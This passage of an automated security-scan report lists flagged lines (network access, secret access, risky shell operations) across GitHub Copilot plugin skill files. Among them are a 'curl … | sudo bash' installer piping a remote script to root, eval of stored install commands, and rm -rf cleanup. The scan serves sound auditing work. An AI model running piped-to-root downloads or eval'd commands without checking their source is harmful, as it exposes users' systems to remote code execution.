    async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:         response = await client.get(f"{API_URL}/resource/{resource_id}")
  • Network accessline 253
    async with httpx.AsyncClient() as client:
  • Network accessline 258
    # Bad: Synchronous request def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 259
    def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks     return response.json()
  • Network accessline 260
    response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 352
    # Constants API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 353
    API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 382
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 383
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 384
    async with httpx.AsyncClient() as client:
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/scripts/connections.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/scripts/evaluation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 318
    python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml

harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-agent-framework/SKILL.md

  • Network accessline 21
    - Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices.
  • Network accessline 22
    - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG
  • Network accessline 50
    | Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne
  • Network accessline 51
    | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in
  • Network accessline 52
    | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` |
  • Network accessline 53
    | AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` |
  • Network accessline 110
    - [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview)
  • Network accessline 111
    - [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/)
  • Network accessline 112
    - [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)

harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-agent-framework/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/dotnet/samples>

harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-agent-framework/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/python/samples>

harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-code-reference/SKILL.md

  • Network accessline 4
    Look up official Microsoft API references, SDK signatures, packages, and working code samples before writing or fixing Azure SDK, .NET, Microsoft Graph, or Microsoft API code. Use when verifying method names, overloads, parameters, authenti
  • Network accessline 5
    metadata:   compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." ---
  • Network accessline 6
    compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."
  • Network accessline 132
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)

harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-docs/SKILL.md

  • Network accessline 134
    - [Aspire docs MCP tools announcement](https://davidpine.dev/posts/aspire-docs-mcp-tools/)
  • Network accessline 135
    - [Aspire PR #14028](https://github.com/dotnet/aspire/pull/14028)

harness/github-copilot/plugins/open-horizons-platform/skills/microsoft-skill-creator/SKILL.md

  • Network accessline 4
    Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Micros
  • Network accessline 5
    metadata:   compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."   context: "fork"
  • Network accessline 6
    compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."
  • Network accessline 24
    - Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available.
  • Network accessline 99
    For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic
  • Network accessline 157
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
  • Network accessline 158
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
  • Network accessline 159
    - [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-aeg-feature/scripts/validate_aeg_contract.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-ai-catalog/SKILL.md

  • Network accessline 70
    - [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-authentication/SKILL.md

  • Network accessline 92
    - [Backstage authentication](https://backstage.io/docs/auth/)
  • Network accessline 93
    - [GitHub provider](https://backstage.io/docs/auth/github/provider)
  • Network accessline 94
    - [Microsoft Entra ID provider](https://backstage.io/docs/auth/microsoft/provider)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-catalog-db-performance/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/azure-devops.md

  • Network accessline 34
    - <https://backstage.io/docs/integrations/azure/locations>
  • Network accessline 35
    - <https://backstage.io/docs/integrations/azure/discovery>
  • Network accessline 36
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/azure-devops>

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/github.md

  • Network accessline 27
    First-party source: <https://backstage.io/docs/integrations/github/github-apps>.

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/servicenow.md

  • Network accessline 32
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/servicenow>
  • Network accessline 33
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/scaffolder-backend-module-servicenow>

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-framework/SKILL.md

  • Network accessline 67
    - [Backstage framework index](https://backstage.io/docs/framework/generated-index)
  • Network accessline 68
    - [Stable API reference](https://backstage.io/api/stable)
  • Network accessline 69
    - [Core backend service APIs](https://backstage.io/docs/backend-system/core-services/)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-kubernetes/SKILL.md

  • Network accessline 73
    - [Backstage Kubernetes](https://backstage.io/docs/features/kubernetes/)
  • Network accessline 74
    - [Kubernetes configuration](https://backstage.io/docs/features/kubernetes/configuration)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-mcp-actions/SKILL.md

  • Network accessline 72
    - [MCP Actions Backend](https://backstage.io/docs/ai/mcp-actions)
  • Network accessline 73
    - [Well-known actions](https://backstage.io/docs/ai/well-known-actions)
  • Network accessline 74
    - [Actions Registry](https://backstage.io/docs/backend-system/core-services/actions-registry)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-notifications/SKILL.md

  • Network accessline 63
    - [Backstage Notifications](https://backstage.io/docs/notifications/)
  • Network accessline 64
    - [Notification usage](https://backstage.io/docs/notifications/usage)
  • Network accessline 65
    - [Notification processors](https://backstage.io/docs/notifications/processors)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-permissions/SKILL.md

  • Network accessline 71
    - [Permission framework overview](https://backstage.io/docs/permissions/overview)
  • Network accessline 72
    - [Plugin author permissions](https://backstage.io/docs/permissions/plugin-authors/01-setup)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-backstage-search/SKILL.md

  • Network accessline 68
    - [Backstage Search](https://backstage.io/docs/features/search/)
  • Network accessline 69
    - [Search architecture](https://backstage.io/docs/features/search/architecture)
  • Network accessline 70
    - [Getting started with Search](https://backstage.io/docs/features/search/getting-started)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Network accessline 118
    # Access ArgoCD kubectl port-forward svc/argocd-server -n argocd 8080:443 # Visit https://localhost:8080
  • Network accessline 120
    # Visit https://localhost:8080
  • Network accessline 122
    # Access Grafana kubectl port-forward svc/prometheus-grafana -n observability 3000:80 # Visit http://localhost:3000
  • Network accessline 124
    # Visit http://localhost:3000

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/references/rollback.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 15
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/references/troubleshooting.md

  • Dangerous shell operationline 10
    rm -rf terraform/.terraform
  • Access to secretsline 18
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-prerequisites/SKILL.md

  • Network accessline 72
    # Azure CLI curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Dangerous shell operationline 73
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 73
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 75
    # Terraform wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg
  • Dangerous shell operationline 76
    [Credential-related source omitted]
  • Network accessline 76
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Dangerous shell operationline 77
    [Credential-related source omitted]
  • Network accessline 77
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Dangerous shell operationline 78
    sudo apt update && sudo apt install terraform
  • Network accessline 80
    # kubectl curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Network accessline 81
    curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Dangerous shell operationline 82
    sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-prerequisites/scripts/validate-cli-prerequisites.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 39
    ["terraform"]="Terraform IaC|terraform version|brew install terraform"     ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Dangerous shell operationline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 48
    ["jq"]="JSON Processor|jq --version|brew install jq"     ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"
  • Network accessline 49
    ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"     ["git"]="Git|git --version|brew install git"
  • Network accessline 50
    ["curl"]="HTTP Client|curl --version|built-in"
  • Dangerous shell operationline 93
    local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed")
  • Dangerous shell operationline 100
    eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd"
  • Dangerous shell operationline 116
    if eval "$check_cmd" &> /dev/null; then

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-prerequisites/scripts/validate-prerequisites.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 39
    ["terraform"]="Terraform IaC|terraform version|brew install terraform"     ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Dangerous shell operationline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 48
    ["jq"]="JSON Processor|jq --version|brew install jq"     ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"
  • Network accessline 49
    ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"     ["git"]="Git|git --version|brew install git"
  • Network accessline 50
    ["curl"]="HTTP Client|curl --version|built-in"
  • Dangerous shell operationline 93
    local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed")
  • Dangerous shell operationline 100
    eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd"
  • Dangerous shell operationline 116
    if eval "$check_cmd" &> /dev/null; then

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/SKILL.md

  • Network accessline 128
    - [GitHub Copilot custom instructions](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/add-repository-instructions/add-repository-instructions)
  • Network accessline 129
    - [VS Code prompt files](https://code.visualstudio.com/docs/copilot/customization/prompt-files)

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/templates/mcp.json

  • Network accessline 3
    "microsoft-docs": {       "type": "http",       "url": "https://learn.microsoft.com/api/mcp",
  • Network accessline 4
    "type": "http",       "url": "https://learn.microsoft.com/api/mcp",       "tools": [
  • Network accessline 5
    "url": "https://learn.microsoft.com/api/mcp",

harness/github-copilot/plugins/open-horizons-platform/skills/python-package-management/SKILL.md

  • Network accessline 35
    Uses [uv](https://github.com/astral-sh/uv) for dependency management and
  • Network accessline 36
    [poethepoet](https://github.com/nat-n/poethepoet) for task automation.
  • Network accessline 241
    - `released` -> `Development Status :: 5 - Production/Stable` - See the PyPI classifier list for the available classifier values:   `https://pypi.org/classifiers/`
  • Network accessline 243
    `https://pypi.org/classifiers/`

harness/github-copilot/plugins/open-horizons-platform/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/github-copilot/plugins/openapi-to-application-csharp-dotnet/skills/openapi-to-application-code/SKILL.md

  • Network accessline 13
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 14
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 15
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 23
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 24
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 25
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 143
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/github-copilot/plugins/openapi-to-application-go/skills/openapi-to-application-code/SKILL.md

  • Network accessline 13
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 14
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 15
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 23
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 24
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 25
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 143
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/github-copilot/plugins/openapi-to-application-java-spring-boot/skills/openapi-to-application-code/SKILL.md

  • Network accessline 13
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 14
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 15
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 23
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 24
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 25
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 143
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/github-copilot/plugins/openapi-to-application-nodejs-nestjs/skills/openapi-to-application-code/SKILL.md

  • Network accessline 13
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 14
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 15
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 23
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 24
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 25
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 143
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/github-copilot/plugins/openapi-to-application-python-fastapi/skills/openapi-to-application-code/SKILL.md

  • Network accessline 13
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 14
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 15
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 23
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 24
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 25
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 143
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-parentheses-from-clause.md

  • Network accessline 182
    - Reference: [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Other syntax differences - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)
  • Network accessline 183
    - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)

harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-to-char-numeric.md

  • Network accessline 144
    - [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Related type conversion issues - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)
  • Network accessline 145
    - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)

harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-type-coercion.md

  • Network accessline 171
    - [PostgreSQL Type Casting Documentation](https://www.postgresql.org/docs/current/sql-syntax.html)
  • Network accessline 172
    - [Oracle Type Conversion Documentation](https://docs.oracle.com/database/121/SQLRF/sql_elements003.htm)
  • Network accessline 173
    - [Npgsql Exception: Operator Does Not Exist](https://www.npgsql.org/doc/api/Npgsql.NpgsqlException.html)

harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/postgres-concurrent-transactions.md

  • Network accessline 257
    - [Npgsql Documentation: Basic Usage](https://www.npgsql.org/doc/basic-usage.html)
  • Network accessline 258
    - [PostgreSQL Documentation: Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html)
  • Network accessline 259
    - [Npgsql GitHub: Multiple Active Result Sets Discussion](https://github.com/npgsql/npgsql/issues/462)

harness/github-copilot/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/postgres-refcursor-handling.md

  • Network accessline 146
    - [PostgreSQL Documentation: Cursors](https://www.postgresql.org/docs/current/plpgsql-cursors.html) - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html)
  • Network accessline 147
    - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html)
  • Network accessline 148
    - [Npgsql Refcursor Support](https://github.com/npgsql/npgsql/issues/1887)

harness/github-copilot/plugins/ospo-sponsorship/skills/sponsor-finder/SKILL.md

  • Network accessline 57
    https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{PACKAGE}/versions/{VERSION}:dependencies
  • Network accessline 62
    https://api.deps.dev/v3/systems/npm/packages/express/versions/5.2.1:dependencies
  • Network accessline 87
    https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{NAME}/versions/{VERSION}
  • Network accessline 108
    https://api.deps.dev/v3/projects/github.com%2F{owner}%2F{repo}
  • Network accessline 133
    ### 5a: npm `funding` field (npm ecosystem only) Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field:
  • Network accessline 134
    Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field:
  • Network accessline 135
    - **String: ** `"https://github.com/sponsors/sindresorhus"` → use as URL
  • Network accessline 136
    - **Object: ** `{"type": "opencollective", "url": "https://opencollective.com/express"}` → use `url`
  • Network accessline 148
    GitHub supports a [default community health files](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file) convention: a `.github` repository at the user/org level p
  • Network accessline 152
    Parse the YAML (same for both 5b-i and 5b-ii): - `github: [username]` → `https://github.com/sponsors/{username}`
  • Network accessline 153
    - `github: [username]` → `https://github.com/sponsors/{username}`
  • Network accessline 154
    - `open_collective: slug` → `https://opencollective.com/{slug}`
  • Network accessline 155
    - `ko_fi: username` → `https://ko-fi.com/{username}`
  • Network accessline 156
    - `patreon: username` → `https://patreon.com/{username}`
  • Network accessline 157
    - `tidelift: platform/package` → `https://tidelift.com/subscription/pkg/{platform-package}`
  • Network accessline 249
    1.**@{user}**— {N} direct + {M} transitive deps · Maintained    {dep1}, {dep2}, {dep3}, ...    https://github.com/sponsors/{user}
  • Network accessline 251
    https://github.com/sponsors/{user}
  • Network accessline 253
    2.**Open Collective: {name}**— {N} direct + {M} transitive deps · Maintained    {dep1}, {dep2}, {dep3}, ...    https://opencollective.com/{name}
  • Network accessline 255
    https://opencollective.com/{name}
  • Network accessline 257
    3.**@{user2}**— {N} direct dep · Low activity    {dep1}    https://github.com/sponsors/{user2}
  • Network accessline 259
    https://github.com/sponsors/{user2}

harness/github-copilot/plugins/pcf-development/skills/pcf-development/SKILL.md

  • Network accessline 162
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/overview
  • Network accessline 163
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/limitations
  • Network accessline 164
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/manifest-schema-reference/

harness/github-copilot/plugins/phoenix/skills/phoenix-cli/SKILL.md

  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 77
    export PHOENIX_HOST=http://localhost:6006
  • Access to secretsline 79
    [Credential-related source omitted]
  • Network accessline 125
    px auth status                                # check connection and authentication px auth status --endpoint http://other:6006   # check a specific endpoint
  • Network accessline 126
    px auth status --endpoint http://other:6006   # check a specific endpoint
  • Network accessline 138
    px profile show                              # show the active profile's settings px profile show staging                      # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key>
  • Network accessline 139
    px profile show staging                      # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate px profile create local --endpoint http://localhost:6006 --project my-
  • Network accessline 140
    px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate
  • Network accessline 141
    px profile create local --endpoint http://localhost:6006 --project my-app
  • Network accessline 390
    - [Phoenix application](https://app.phoenix.arize.com)

harness/github-copilot/plugins/phoenix/skills/phoenix-cli/references/axial-coding.md

  • Dangerous shell operationline 165
    rm -f "$NOTES_SIDECAR" "$AXIAL_SIDECAR"

harness/github-copilot/plugins/phoenix/skills/phoenix-cli/references/open-coding.md

  • Dangerous shell operationline 239
    rm -f "$SIDECAR" ".px/coding/${SLUG}-axial.jsonl"

harness/github-copilot/plugins/phoenix/skills/phoenix-evals/references/common-mistakes-python.md

  • Network accessline 72
    # WRONG client = Client(endpoint="https://app.phoenix.arize.com")
  • Network accessline 73
    client = Client(endpoint="https://app.phoenix.arize.com")
  • Network accessline 74
    client = Client(url="https://app.phoenix.arize.com")
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 77
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]

harness/github-copilot/plugins/phoenix/skills/phoenix-evals/references/error-analysis.md

  • Network accessline 20
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

harness/github-copilot/plugins/phoenix/skills/phoenix-evals/references/observe-tracing-setup.md

  • Network accessline 45
    [Credential-related source omitted]
  • Network accessline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/README.md

  • Network accessline 20
